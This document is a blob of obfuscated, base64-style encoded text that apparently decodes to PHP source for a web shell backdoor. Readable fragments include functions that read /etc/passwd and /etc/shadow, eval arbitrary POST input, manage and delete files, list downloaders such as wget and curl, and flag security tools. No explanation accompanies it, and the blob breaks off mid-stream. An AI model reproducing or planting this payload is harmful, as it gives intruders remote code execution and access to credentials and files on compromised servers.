CRm]Wxl[mFtZSA9IHJlYWRk]XIoJGRoKSkpDQogICAgCQkkZmlsZXN[XSA9ICRm]Wxl[mFtZTsNCgkJ<mV0&XJuICRm]Wxl<zsNCgl9DQp9DQoNCmZ1[mN0]W9uIH&z[1&o]WNoKCRwKSB7DQoJJHBh&GggPSB3<29F*Cgn&2hpY2ggJyAuICRwKTsNCglpZighZW1w&HkoJHBh&GgpKQ0KCQlyZXR1<m4gJHBh&Gg7DQoJ<mV0&XJuIGZh[HNlOw0K_Q0KDQpm&W5j&Glv[iBhY3Rp[25TZWNJ[mZvKCkg*w0KCX&z[0hlYWRl<igpOw0KCWVj]G8gJzxoMT5TZXJ2ZXIg<2Vj&XJp&Hkg]W5m[3JtYXRp[248L2gxPjxk]XYgY2xh<3M9Y29u&GVu&D4nOw0KCWZ1[mN0]W9uIH&z[1NlY1Bh<mFtKCRuLCAk&ikg*w0KCQkk&iA9IHRy]W0oJHYpOw0KCQlpZigk&ikg*w0KCQkJZWNo[yAnPHNwYW4+JyAuICRuIC4gJzogPC9z<GFuPi<7DQoJCQlpZihz&HJw[3MoJHYsICJ<[iIpID09PSBmYWxzZSkNCgkJCQllY2hvICR2IC4gJzxi<j4nOw0KCQkJZWxzZQ0KCQkJCWVj]G8gJzxw<mUgY2xh<3M9[WwxPi<gLiAk&iAuIC<8L3ByZT4nOw0KCQl9DQoJ_Q0KCQ0KCX&z[1NlY1Bh<mFtKC&TZXJ2ZXIg<29m&H&h<mUnLCBAZ2V0ZW52KC&TRVJWRVJ_U09GVF&BUkUnKSk7DQogICAg]WYoZnVuY3Rp[25_ZXhp<3RzKC&h<GFj]GV_Z2V0X21vZHVsZXMnKSkNCiAgICAgICAg&3NvU2VjUGFyYW0oJ0xvYWRlZCBB<GFj]GUg[W9k&Wxl<y<sIGlt<GxvZGUoJywgJywgYXBhY2hlX2&l&F9t[2R1[GVzKCkpKTsNCgl3<29TZWNQYXJh[SgnRGlzYWJsZWQgUEhQIEZ1[mN0]W9u<y<sICRHTE9CQUxTWy&k]XNhYmxlX2Z1[mN0]W9u<y&&PyRHTE9CQUxTWy&k]XNhYmxlX2Z1[mN0]W9u<y&&Oi&u[25lJyk7DQoJ&3NvU2VjUGFyYW0oJ09wZW4gYmFzZSBk]XInLCBA]W5pX2&l&Cgn[3Bl[l9iYXNlZGlyJykpOw0KCX&z[1NlY1Bh<mFtKC&TYWZlIG1vZGUgZXhlYyBk]XInLCBA]W5pX2&l&Cgn<2FmZV9t[2RlX2V4ZWN_ZGlyJykpOw0KCX&z[1NlY1Bh<mFtKC&TYWZlIG1vZGUg]W5j[HVkZSBk]XInLCBA]W5pX2&l&Cgn<2FmZV9t[2RlX2luY2x1ZGV_ZGlyJykpOw0KCX&z[1NlY1Bh<mFtKC&jVVJMIHN1<HBv<nQnLCBm&W5j&Glv[l9l*Glz&HMoJ2N1<mx_&mVy<2lv[i<pPy&l[mFi[GVkJzon[m8nKTsNCgkk&GVt<D1h<nJh*SgpOw0KCWlmKGZ1[mN0]W9uX2V4]XN0<ygn[Xlz<Wx_Z2V0X2Ns]WVu&F9p[mZvJykpDQoJCSR0ZW1wW10gPSAiTXlT<WwgKCIu[Xlz<Wx_Z2V0X2Ns]WVu&F9p[mZvKCkuIikiOw0KCWlmKGZ1[mN0]W9uX2V4]XN0<ygn[XNz<Wx_Y29u[mVj&C<pKQ0KCQkk&GVt<Ft&ID0gIk1TU1FMIjsNCglpZihm&W5j&Glv[l9l*Glz&HMoJ3BnX2Nv[m5lY3QnKSkNCgkJJHRl[XB[XSA9ICJQ[3N0Z3JlU1FMIjsNCglpZihm&W5j&Glv[l9l*Glz&HMoJ29j]V9j[25uZWN0JykpDQoJCSR0ZW1wW10gPSAiT3JhY2xlIjsNCgl3<29TZWNQYXJh[SgnU3Vw<G9y&GVkIGRh&GFiYXNl<y<sIGlt<GxvZGUoJywgJywgJHRl[XApKTsNCgllY2hvIC<8YnI+JzsNCgkNCglpZigkR0xPQkFMU1sn[3MnXSA9PSAn[ml4Jykg*w0KCQl3<29TZWNQYXJh[SgnUmVhZGFi[GUgL2V0Yy9wYXNz&2QnLCBA]XN_<mVhZGFi[GUoJy9l&GMv<GFz<3&kJyk/Inll<yA8YSBo<mVmPS<jJyBv[mNs]WNrPS&nKFwiRmlsZXNU[29s<1wiLCB<Ii9l&GMvXCIsIFwi<GFz<3&kXCIpJz5[&mll&108L2E+Ijon[m8nKTsNCgkJ&3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9l&GMv<2hhZG93JywgQGlzX3JlYWRhYmxlKC<vZXRjL3NoYWRv&y<pPyJ5ZXMgPGEg]HJlZj0nIy<g[25j[Glj]z0nZyh<IkZp[GVzVG9v[HN<IiwgXCJl&GN<IiwgXCJz]GFk[3&<IiknPlt2]WV3XTwvYT4iOi&u[y<pOw0KCQl3<29TZWNQYXJh[SgnT1Mg&mVy<2lv[i<sIEBm]WxlX2&l&F9j[250ZW50<ygnL3By[2Mv&mVy<2lv[i<pKTsNCgkJ&3NvU2VjUGFyYW0oJ0Rp<3RyIG5h[WUnLCBAZmlsZV9nZXR_Y29u&GVu&HMoJy9l&GMv]XNz&WUu[mV0JykpOw0KCQlpZighJE&MT0JBTFN[J3NhZmV_[W9kZS&&KSB7DQogICAgICAgICAgICAk&XNl<mZ1[CA9IGFy<mF5KC&nY2MnLC&sY2MnLC&jYy<sJ2xkJywn[WFrZS<sJ3Bo<C<sJ3Bl<mwnLC&w*XRo[24nLC&y&WJ5Jywn&GFyJywnZ3pp<C<sJ2J6]XAnLC&i*mlwMi<sJ25jJywn[G9jYXRlJywn<3VpZHBl<mwnKTsNCiAgICAgICAgICAgICRkYW5nZXIgPSBh<nJh*Sgn]2F2Jywn[m9kMzInLC&iZGNv<mVkJywn&XZzY2FuJywn<2F2JywnZHJ3ZWJkJywnY2xh[WQnLC&y]2h1[nRl<i<sJ2No]3Jv[3Rr]XQnLC&p<HRhYmxl<y<sJ2lwZn<nLC&0<mlw&2lyZS<sJ3No]WVsZGNjJywn<G9y&HNl[nRy*S<sJ3Nu[3J0Jywn[3NzZWMnLC&s]WRzYWRtJywn&GNw[G9kZy<sJ3N4]WQnLC&s[2&j]GVj]y<sJ2xvZ3&h&GNoJywn<3lz[WFz]y<sJ3ptYnNjYXAnLC&zYX&t]WxsJywn&29y[XNjYW4nLC&u]W5qYS<pOw0KICAgICAgICAgICAgJGRv&25s[2FkZXJzID0gYXJyYXkoJ3&nZXQnLC&mZXRj]C<sJ2x5[ngnLC&s]W5r<y<sJ2N1<mwnLC&nZXQnLC&s&3At[Wly<m9yJyk7DQoJCQllY2hvIC<8YnI+JzsNCgkJCSR0ZW1wPWFy<mF5KCk7DQoJCQlm[3JlYWNoICgk&XNl<mZ1[CBh<yAk]XRl[SkNCgkJCQlpZih3<29X]Glj]Cgk]XRl[SkpDQogICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAk]XRl[TsNCgkJCX&z[1NlY1Bh<mFtKC&V<2VyZnVsJywg]W1w[G9kZSgnLCAnLCR0ZW1wKSk7DQoJCQkk&GVt<D1h<nJh*SgpOw0KCQkJZm9yZWFj]CAoJGRh[m&l<iBh<yAk]XRl[SkNCgkJCQlpZih3<29X]Glj]Cgk]XRl[SkpDQogICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAk]XRl[TsNCgkJCX&z[1NlY1Bh<mFtKC&EYW5nZXInLCBp[XBs[2RlKC<sIC<sJHRl[XApKTsNCgkJCSR0ZW1wPWFy<mF5KCk7DQoJCQlm[3JlYWNoICgkZG93[mxvYWRl<nMgYXMgJGl0ZW0pIA0KCQkJCWlmKH&z[1&o]WNoKCRp&GVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHRl[XB[XSA9ICRp&GVtOw0KCQkJ&3NvU2VjUGFyYW0oJ0Rv&25s[2FkZXJzJywg]W1w[G9kZSgnLCAnLCR0ZW1wKSk7DQoJCQllY2hvIC<8YnIvPi<7DQogICAgICAgICAgICB3<29TZWNQYXJh[SgnSEREIHNwYWNlJywg&3NvRXgoJ2RmIC1oJykpOw0KCQkJ&3NvU2VjUGFyYW0oJ0hv<3RzJywgQGZp[GV_Z2V0X2Nv[nRl[nRzKC<vZXRjL2hv<3RzJykpOw0KCQl9DQoJ_SBl[HNlIHsNCgkJ&3NvU2VjUGFyYW0oJ09TIFZl<nNp[24nLH&z[0V4KC&2ZXInKSk7DQoJCX&z[1NlY1Bh<mFtKC&BY2Nv&W50IFNl&HRp[m&zJyx3<29F*Cgn[mV0IGFjY291[nRzJykpOw0KCQl3<29TZWNQYXJh[SgnVXNl<iBBY2Nv&W50<y<s&3NvRXgoJ25l&CB1<2VyJykpOw0KCX0NCgllY2hvIC<8L2Rp&j4nOw0KCX&z[0Zv[3Rl<igpOw0K_Q0KDQpm&W5j&Glv[iBhY3Rp[25Q]HAoKSB7DQoJ]WYo]XNzZXQoJF9QT1NUWy&h]mF4J10pKSB7DQoJCSR_U0VTU0lPTlttZDUoJF9TRVJWRVJ[J0hUVFB_SE9TVC&&KSAuIC&h]mF4J10gPSB0<nVlOw0KCQlvYl9z&GFy&CgpOw0KCQll&mFsKCR_UE9TVFsn<DEnXSk7DQoJCSR0ZW1wID0gImRvY3VtZW50Lm&l&EVsZW1l[nRC*UlkKC&Q]HBP&XRw&XQnKS5z&HlsZS5k]XNw[GF5PS<nO2RvY3VtZW50Lm&l&EVsZW1l[nRC*UlkKC&Q]HBP&XRw&XQnKS5p[m5l<khUTUw9JyIgLiBhZGRj<2xh<2hl<yho&G1s<3BlY2lh[GNoYXJzKG9iX2&l&F9j[GVh[igpKSwgIlxuXHJ<&Fx<J1wwIikgLiAiJzt<[iI7DQoJCWVj]G8g<3Ry[GVuKCR0ZW1wKSwgIlxuIiwgJHRl[XA7DQoJCWV4]XQ7IA0KCX0NCgl3<29IZWFkZXIoKTsNCglpZihp<3Nl&CgkX1BPU1R[J3AyJ10pICYmICgkX1BPU1R[J3AyJ10gPT0gJ2luZm8nKSkg*w0KCQllY2hvIC<8]DE+UEhQIGluZm88L2gxPjxk]XYgY2xh<3M9Y29u&GVu&D48<3R5[GU+LnAg*2Nv[G9yOiMwMDA7_Twv<3R5[GU+JzsNCgkJ[2J_<3Rh<nQoKTsNCgkJ<Ghw]W5m[ygpOw0KCQkk&G1wID0g[2J_Z2V0X2NsZWFuKCk7DQogICAgICAgICR0[XAgPSBw<mVnX3Jl<GxhY2UoJyEoYm9k*XxhOlx3K3xi[2R5LCB0ZCwg&GgsIGgxLCBoMikg*y4q_SFt<2lVJywnJywk&G1wKTsNCgkJJHRt<CA9IHByZW&_<mVw[GFjZSgnIXRkLCB0]CB7KC4qKX0h[XNpVS<sJy5lLCAu&iwgLmgsIC5oIHRoIHskMX0nLCR0[XApOw0KCQllY2hvIHN0<l9yZXBsYWNlKC<8]DEnLC<8]DInLCAk&G1wKSAuJzwvZGl2Pjxi<j4nOw0KCX0NCglpZihl[XB0*SgkX1BPU1R[J2FqYXgnXSkgJiYgIWVt<HR5KCR_UE9TVFsn<DEnXSkpDQoJCSR_U0VTU0lPTlttZDUoJF9TRVJWRVJ[J0hUVFB_SE9TVC&&KSAuIC&h]mF4J10gPSBmYWxzZTsNCiAgICBlY2hvIC<8]DE+RXhlY3V0]W9uIFBIUC1j[2RlPC9oMT48ZGl2IGNsYXNzPWNv[nRl[nQ+PGZv<m0g[mFtZT1wZiBtZXRo[2Q9<G9z&CBv[nN1Ym1p&D0i]WYo&Ghp<y5h]mF4LmNoZWNrZWQp*2EoXC&Q]HB<Jyxu&WxsLHRo]XMuY29kZS52YWx1ZSk7_WVs<2V7Zyh<J1Bo<FwnLG51[Gws&Ghp<y5j[2RlLnZh[HVlLFwnXC<pO31yZXR1<m4gZmFs<2U7Ij48&GV4&GFyZWEg[mFtZT1j[2RlIGNsYXNzPWJpZ2FyZWEg]WQ9UGhwQ29kZT4nLighZW1w&HkoJF9QT1NUWy&wMS&&KT9o&G1s<3BlY2lh[GNoYXJzKCR_UE9TVFsn<DEnXSk6Jy<pLi<8L3Rl*HRh<mVhPjxp[nB1&CB0*XBlPXN1Ym1p&CB2YWx1ZT1F&mFsIHN0*WxlPSJtYXJn]W4t&G9wOjVw*CI+JzsNCgllY2hvIC<gPGlu<HV0IHR5<GU9Y2hlY2ti[3gg[mFtZT1h]mF4IHZh[HVlPTEgJy4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLi&h]mF4J10/J2NoZWNrZWQnOi<nKS4nPiBzZW5kIHVz]W5nIEFKQVg8L2Zv<m0+PHByZSBpZD1Q]HBP&XRw&XQg<3R5[GU9Ii<uKGVt<HR5KCR_UE9TVFsn<DEnXSk/J2Rp<3BsYXk6[m9uZTsnOi<nKS4n[WFyZ2luLXRv<Do1<Hg7IiBj[GFz<z1t[DE+JzsNCglpZighZW1w&HkoJF9QT1NUWy&wMS&&KSkg*w0KCQlvYl9z&GFy&CgpOw0KCQll&mFsKCR_UE9TVFsn<DEnXSk7DQoJCWVj]G8g]HRt[HNwZWNpYWxj]GFy<yhvYl9nZXR_Y2xlYW4oKSk7DQoJ_Q0KCWVj]G8gJzwv<HJlPjwvZGl2Pi<7DQoJ&3NvRm9v&GVyKCk7DQp9DQoNCmZ1[mN0]W9uIGFj&Glv[kZp[GVzTWFuKCkg*w0KCX&z[0hlYWRl<igpOw0KCWVj]G8gJzxoMT5G]WxlIG1h[mFnZXI8L2gxPjxk]XYgY2xh<3M9Y29u&GVu&D48<2Ny]XB0PnAxXz1wMl89<DN_PSIiOzwv<2Ny]XB0Pi<7DQoJ]WYoIWVt<HR5KCR_UE9TVFsn<DEnXSkpIHsNCgkJ<3&p&GNoKCR_UE9TVFsn<DEnXSkg*w0KCQkJY2FzZSAn&XBs[2FkRmlsZS<6DQoJCQkJ]WYoIUBt[3ZlX3Vw[G9hZGVkX2Zp[GUoJF9GSUxFU1snZi&&Wy&0[XB_[mFtZS&&LCAkX0ZJTEVTWy&mJ11[J25h[WUnXSkpDQoJCQkJCWVj]G8gIkNh[i&0IHVw[G9hZCBm]WxlISI7DQoJCQkJYnJlYWs7DQoJCQljYXNlIC&t]2Rp<i<6DQoJCQkJ]WYoIUBt]2Rp<igkX1BPU1R[J3AyJ10pKQ0KCQkJCQllY2hvICJDYW4n&CBj<mVh&GUg[mV3IGRp<iI7DQoJCQkJYnJlYWs7DQoJCQljYXNlIC&kZWxl&GUnOg0KCQkJCWZ1[mN0]W9uIGRl[GV0ZURp<igk<GF0]Ckg*w0KCQkJCQkk<GF0]CA9IChz&WJz&HIoJHBh&GgsLTEpPT0nLy<pID8gJHBh&Gg6JHBh&GguJy8nOw0KCQkJCQkkZGggID0g[3Bl[mRp<igk<GF0]Ck7DQoJCQkJCX&o]WxlICggKCRp&GVtID0g<mVhZGRp<igkZGgpICkgIT09IGZh[HNlKSB7DQoJCQkJCQkk]XRl[SA9ICRwYXRoLiRp&GVtOw0KCQkJCQkJ]WYgKCAoYmFzZW5h[WUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNl[mFtZSgk]XRl[SkgPT0gIi4iKSApDQoJCQkJCQkJY29u&Glu&WU7DQoJCQkJCQkk&HlwZSA9IGZp[GV0*XBlKCRp&GVtKTsNCgkJCQkJCWlmICgk&HlwZSA9PSAiZGlyIikNCgkJCQkJCQlkZWxl&GVE]XIoJGl0ZW0pOw0KCQkJCQkJZWxzZQ0KCQkJCQkJCUB1[mxp[msoJGl0ZW0pOw0KCQkJCQl9DQoJCQkJCWNs[3NlZGlyKCRk]Ck7DQoJCQkJCUBy[WRp<igk<GF0]Ck7DQoJCQkJ_Q0KCQkJCWlmKGlzX2Fy<mF5KEAkX1BPU1R[J2YnXSkpDQoJCQkJCWZv<mVhY2goJF9QT1NUWy&mJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09IC<uLi<pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29u&Glu&WU7DQoJCQkJCQkkZiA9IHVy[GRlY29kZSgkZik7DQoJCQkJCQlpZihp<19k]XIoJGYpKQ0KCQkJCQkJCWRl[GV0ZURp<igkZik7DQoJCQkJCQll[HNlDQoJCQkJCQkJQHVu[Glu]ygkZik7DQoJCQkJCX0NCgkJCQli<mVh]zsNCgkJCWNh<2UgJ3Bh<3RlJzoNCgkJCQlpZigkX1NFU1NJT05[J2Fj&C&&ID09IC&j[3B5Jykg*w0KCQkJCQlm&W5j&Glv[iBj[3B5X3Bh<3RlKCRjLCRzLCRkKXsNCgkJCQkJCWlmKGlzX2Rp<igkYy4k<ykp*w0KCQkJCQkJCW1rZGlyKCRkLiRzKTsNCgkJCQkJCQkk]CA9IEBv<GVuZGlyKCRjLiRzKTsNCgkJCQkJCQl3]GlsZSAoKCRmID0gQHJlYWRk]XIoJGgpKSAhPT0gZmFs<2UpDQoJCQkJCQkJCWlmICgoJGYgIT0gIi4iKSBh[mQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJY29w*V9wYXN0ZSgkYy4k<y4nLy<sJGYsICRkLiRzLi<vJyk7DQoJCQkJCQl9IGVs<2VpZihp<19m]WxlKCRjLiRzKSkNCgkJCQkJCQlAY29w*SgkYy4k<ywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWZv<mVhY2goJF9TRVNTSU9OWy&mJ10gYXMgJGYpDQoJCQkJCQlj[3B5X3Bh<3RlKCR_U0VTU0lPTlsnYy&&LCRmLCAkR0xPQkFMU1snY3&kJ10pOwkJCQkJDQoJCQkJ_SBl[HNl]WYoJF9TRVNTSU9OWy&hY3QnXSA9PSAn[W92ZS<pIHsNCgkJCQkJZnVuY3Rp[24g[W92ZV9wYXN0ZSgkYywk<ywkZCl7DQoJCQkJCQlpZihp<19k]XIoJGMuJHMpKXsNCgkJCQkJCQlt]2Rp<igkZC4k<yk7DQoJCQkJCQkJJGggPSBA[3Bl[mRp<igkYy4k<yk7DQoJCQkJCQkJ&2hp[GUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZh[HNlKQ0KCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWNv<Hl_<GFz&GUoJGMuJHMuJy8nLCRmLCAkZC4k<y4nLy<pOw0KCQkJCQkJ_SBl[HNl]WYoQGlzX2Zp[GUoJGMuJHMpKQ0KCQkJCQkJCUBj[3B5KCRjLiRzLCAkZC4k<yk7DQoJCQkJCX0NCgkJCQkJZm9yZWFj]CgkX1NFU1NJT05[J2YnXSBh<yAkZikNCgkJCQkJCUByZW5h[WUoJF9TRVNTSU9OWy&jJ10uJGYsICRHTE9CQUxTWy&j&2QnXS4kZik7DQoJCQkJ_SBl[HNl]WYoJF9TRVNTSU9OWy&hY3QnXSA9PSAn*mlwJykg*w0KCQkJCQlpZihj[GFz<19l*Glz&HMoJ1pp<EFyY2hp&mUnKSkg*w0KICAgICAgICAgICAgICAgICAgICAgICAgJHpp<CA9IG5l&yB]]XBB<mNo]XZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHpp<C0+[3Bl[igkX1BPU1R[J3AyJ10sIDEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hk]XIoJF9TRVNTSU9OWy&jJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZv<mVhY2goJF9TRVNTSU9OWy&mJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg]WYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNv[nRp[nVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihA]XN_ZmlsZSgkX1NFU1NJT05[J2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk*mlwLT5hZGRG]WxlKCR_U0VTU0lPTlsnYy&&LiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVs<2VpZihA]XN_ZGlyKCR_U0VTU0lPTlsnYy&&LiRmKSkg*w0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZXJh&G9yID0g[mV3IFJlY3Vy<2l2ZUl0ZXJh&G9ySXRl<mF0[3Io[mV3IFJlY3Vy<2l2ZURp<mVj&G9y*Ul0ZXJh&G9yKCRmLi<vJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFj]CAoJGl0ZXJh&G9yIGFzICRrZXk9PiR2YWx1ZSkg*w0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6]XAtPmFkZEZp[GUo<mVh[HBh&GgoJGtl*SksICRrZXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg_Q0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg_Q0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWy&j&2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpp<C0+Y2xv<2UoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAg_Q0KCQkJCX0gZWxzZWlmKCR_U0VTU0lPTlsnYWN0J10gPT0gJ3Vu*mlwJykg*w0KCQkJCQlpZihj[GFz<19l*Glz&HMoJ1pp<EFyY2hp&mUnKSkg*w0KICAgICAgICAgICAgICAgICAgICAgICAgJHpp<CA9IG5l&yB]]XBB<mNo]XZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBm[3JlYWNoKCR_U0VTU0lPTlsnZi&&IGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg]WYoJHpp<C0+[3Bl[igkX1NFU1NJT05[J2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpp<C0+ZXh0<mFj&FRvKCRHTE9CQUxTWy&j&2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6]XAtPmNs[3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg_Q0KICAgICAgICAgICAgICAgICAgICAgICAg_Q0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJ_SBl[HNl]WYoJF9TRVNTSU9OWy&hY3QnXSA9PSAn&GFyJykg*w0KICAgICAgICAgICAgICAgICAgICBj]GRp<igkX1NFU1NJT05[J2MnXSk7DQogICAgICAgICAgICAgICAgICAgICR_U0VTU0lPTlsnZi&&ID0gYXJyYXl_[WFwKC&l<2Nh<GVz]GVs[GFyZy<sICR_U0VTU0lPTlsnZi&&KTsNCiAgICAgICAgICAgICAgICAgICAg&3NvRXgoJ3Rh<iBjZnp2IC<gLiBl<2Nh<GVz]GVs[GFyZygkX1BPU1R[J3AyJ10pIC4gJyAnIC4g]W1w[G9kZSgnIC<sICR_U0VTU0lPTlsnZi&&KSk7DQogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWy&j&2QnXSk7DQoJCQkJ_Q0KCQkJCXVu<2V0KCR_U0VTU0lPTlsnZi&&KTsNCgkJCQli<mVh]zsNCgkJCWRlZmF1[HQ6DQogICAgICAgICAgICAgICAg]WYoIWVt<HR5KCR_UE9TVFsn<DEnXSkpIHsNCgkJCQkJJF9TRVNTSU9OWy&hY3QnXSA9IEAkX1BPU1R[J3AxJ107DQoJCQkJCSR_U0VTU0lPTlsnZi&&ID0gQCR_UE9TVFsnZi&&Ow0KCQkJCQlm[3JlYWNoKCR_U0VTU0lPTlsnZi&&IGFzICRrID0+ICRmKQ0KCQkJCQkJJF9TRVNTSU9OWy&mJ11[JGt&ID0g&XJsZGVj[2RlKCRmKTsNCgkJCQkJJF9TRVNTSU9OWy&jJ10gPSBAJF9QT1NUWy&jJ107DQoJCQkJ_Q0KCQkJCWJyZWFrOw0KCQl9DQoJ_Q0KCSRk]XJD[250ZW50ID0gQHNjYW5k]XIo]XNzZXQoJF9QT1NUWy&jJ10pPyR_UE9TVFsnYy&&OiRHTE9CQUxTWy&j&2QnXSk7DQoJ]WYoJGRp<kNv[nRl[nQgPT09IGZh[HNlKSB7CWVj]G8gJ0Nh[lwn&CBv<GVuIHRo]XMgZm9sZGVyIS<7&3NvRm9v&GVyKCk7IHJl&HVy[jsg_Q0KCW&s[2Jh[CAk<29y&DsNCgkk<29y&CA9IGFy<mF5KC&uYW1lJywgMSk7DQoJ]WYoIWVt<HR5KCR_UE9TVFsn<DEnXSkpIHsNCgkJ]WYo<HJlZ19tYXRj]CgnIXN_KFtBLXp&Kyl_KFxk*zF9KSEnLCAkX1BPU1R[J3AxJ10sICRtYXRj]CkpDQoJCQkk<29y&CA9IGFy<mF5KCRtYXRj]FsxXSwgKGlu&Ckk[WF0Y2h[Ml0pOw0KCX0NCmVj]G8gIjxzY3Jp<HQ+DQoJZnVuY3Rp[24g<2EoKSB7DQoJCWZv<ihpPTA7]TxkLmZp[GVzLmVsZW1l[nRzLmxl[m&0]DtpKyspDQoJCQlpZihkLmZp[GVzLmVsZW1l[nRzW2l&LnR5<GUgPT0gJ2NoZWNrYm94JykNCgkJCQlkLmZp[GVzLmVsZW1l[nRzW2l&LmNoZWNrZWQgPSBkLmZp[GVzLmVsZW1l[nRzWzB&LmNoZWNrZWQ7DQoJ_Q0KPC9zY3Jp<HQ+DQo8&GFi[GUg&2lk&Gg9JzEwMCUnIGNsYXNzPS&tYWluJyBjZWxs<3BhY2luZz0nMC<gY2Vs[HBhZGRp[m<9JzInPg0KPGZv<m0g[mFtZT1m]Wxl<yBtZXRo[2Q9<G9z&D48&HI+PHRoIH&pZHRoPS<xM3B4Jz48]W5w&XQg&HlwZT1j]GVj]2Jv*CBv[mNs]WNrPS&zYSgpJyBj[GFz<z1j]Gti*D48L3RoPjx0]D48YSBo<mVmPS<jJyBv[mNs]WNrPS&nKFwiRmlsZXNNYW5<Iixu&WxsLFwi<19uYW1lXyIuKCRz[3J0WzF&PzA6MSkuIlwiKS<+TmFtZTwvYT48L3RoPjx0]D48YSBo<mVmPS<jJyBv[mNs]WNrPS&nKFwiRmlsZXNNYW5<Iixu&WxsLFwi<19z]XplXyIuKCRz[3J0WzF&PzA6MSkuIlwiKS<+U2l6ZTwvYT48L3RoPjx0]D48YSBo<mVmPS<jJyBv[mNs]WNrPS&nKFwiRmlsZXNNYW5<Iixu&WxsLFwi<19t[2RpZnl_Ii4oJHNv<nR[MV0/MDoxKS4iXCIpJz5N[2RpZnk8L2E+PC90]D48&Gg+T3&uZXIvR3Jv&XA8L3RoPjx0]D48YSBo<mVmPS<jJyBv[mNs]WNrPS&nKFwiRmlsZXNNYW5<Iixu&WxsLFwi<19wZXJt<18iLigk<29y&FsxXT8wOjEpLiJ<IiknPlBl<m1p<3Np[25zPC9hPjwv&Gg+PHRoPkFj&Glv[nM8L3RoPjwv&HI+IjsNCgkkZGly<yA9ICRm]Wxl<yA9IGFy<mF5KCk7DQoJJG4gPSBj[3Vu&CgkZGlyQ29u&GVu&Ck7DQoJZm9yKCRpPTA7JGk8JG47JGkrKykg*w0KCQkk[3<gPSBA<G9z]Xh_Z2V0<H&1]WQoQGZp[GVv&25l<igkZGlyQ29u&GVu&Fsk]V0pKTsNCgkJJG&yID0gQHBv<2l4X2&l&G&yZ2lkKEBm]WxlZ3Jv&XAoJGRp<kNv[nRl[nR[JGl&KSk7DQoJCSR0[XAgPSBh<nJh*Sgn[mFtZS<gPT4gJGRp<kNv[nRl[nR[JGl&LA0KCQkJCQkgJ3Bh&GgnID0+ICRHTE9CQUxTWy&j&2QnXS4kZGlyQ29u&GVu&Fsk]V0sDQoJCQkJCSAn[W9k]WZ5JyA9PiBkYXRlKC&ZLW0tZCBIOmk6<y<sIEBm]Wxl[XRp[WUoJE&MT0JBTFN[J2N3ZC&&IC4gJGRp<kNv[nRl[nR[JGl&KSksDQoJCQkJCSAn<GVy[XMnID0+IH&z[1Bl<m1zQ29s[3IoJE&MT0JBTFN[J2N3ZC&&IC4gJGRp<kNv[nRl[nR[JGl&KSwNCgkJCQkJIC&z]XplJyA9PiBAZmlsZXNp*mUoJE&MT0JBTFN[J2N3ZC&&LiRk]XJD[250ZW50WyRpXSksDQoJCQkJCSAn[3&uZXInID0+ICRv&1sn[mFtZS&&PyRv&1sn[mFtZS&&OkBm]Wxl[3&uZXIoJGRp<kNv[nRl[nR[JGl&KSwNCgkJCQkJIC&n<m91<C<gPT4gJG&yWy&uYW1lJ10/JG&yWy&uYW1lJ106QGZp[GVn<m91<CgkZGlyQ29u&GVu&Fsk]V0pDQoJCQkJCSk7DQoJCWlmKEBp<19m]WxlKCRHTE9CQUxTWy&j&2QnXSAuICRk]XJD[250ZW50WyRpXSkpDQoJCQkkZmlsZXN[XSA9IGFy<mF5X21l<m&lKCR0[XAsIGFy<mF5KC&0*XBlJyA9PiAnZmlsZS<pKTsNCgkJZWxzZWlmKEBp<19s]W5rKCRHTE9CQUxTWy&j&2QnXSAuICRk]XJD[250ZW50WyRpXSkpDQoJCQkkZGly<1t&ID0gYXJyYXl_[WVyZ2UoJHRt<CwgYXJyYXkoJ3R5<GUnID0+IC&s]W5rJywgJ2xp[msnID0+IHJlYWRs]W5rKCR0[XB[J3Bh&GgnXSkpKTsNCgkJZWxzZWlmKEBp<19k]XIoJE&MT0JBTFN[J2N3ZC&&IC4gJGRp<kNv[nRl[nR[JGl&KSYmICgkZGlyQ29u&GVu&Fsk]V0gIT0gIi4iKSkNCgkJCSRk]XJzW10gPS